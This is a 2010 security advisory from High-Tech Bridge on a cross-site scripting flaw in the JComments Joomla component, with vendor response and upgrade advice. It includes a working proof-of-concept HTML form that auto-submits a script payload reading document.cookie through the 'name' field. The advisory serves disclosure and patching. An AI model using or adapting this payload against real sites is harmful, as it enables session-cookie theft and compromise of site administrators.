XSS vulnerability in JComments, Joomla

Vulnerability ID:HTB22368
Product:JComments
Vendor:JoomlaTune .com
Vulnerable Version:2.1.0.0 [07/08/2009] and Probably Prior Versions
Vendor Notification:04 May 2010
Public Disclosure:18 May 2010
Latest Update:16 May 2010
Vulnerability Type:XSS (Cross Site Scripting)
Status:Fixed by Vendor
Risk level:Medium
Credit:High-Tech Bridge SA

Vulnerability Details:

User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "admin.jcomments.php" script to properly sanitize user-supplied input in "name" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:
<form method="POST" action="http://joomla/administrator/index.php" name="main">
<input type="hidden" name="name" value='ComntrName"><script>alert(document.cookie)</script>'>
<input type="hidden" name="email" value="example@example.com">
<input type="hidden" name="comment" value="comment text">
<input type="hidden" name="published" value="1">
<input type="hidden" name="option" value="com_jcomments">
<input type="hidden" name="id" value="1">
<input type="hidden" name="task" value="save">
</form>
<script>
document.main.submit();
</script>

Solution:

Upgrade to the most recent version

Vendor Comment:

This vulnerability can be exploited only by user who has access to Joomla's backend.

New JComments version with fix already released and available for download: http://www.joomlatune.com/jcomments-downloads.html

We strongly recommend that all JComments users upgrade to JComments 2.2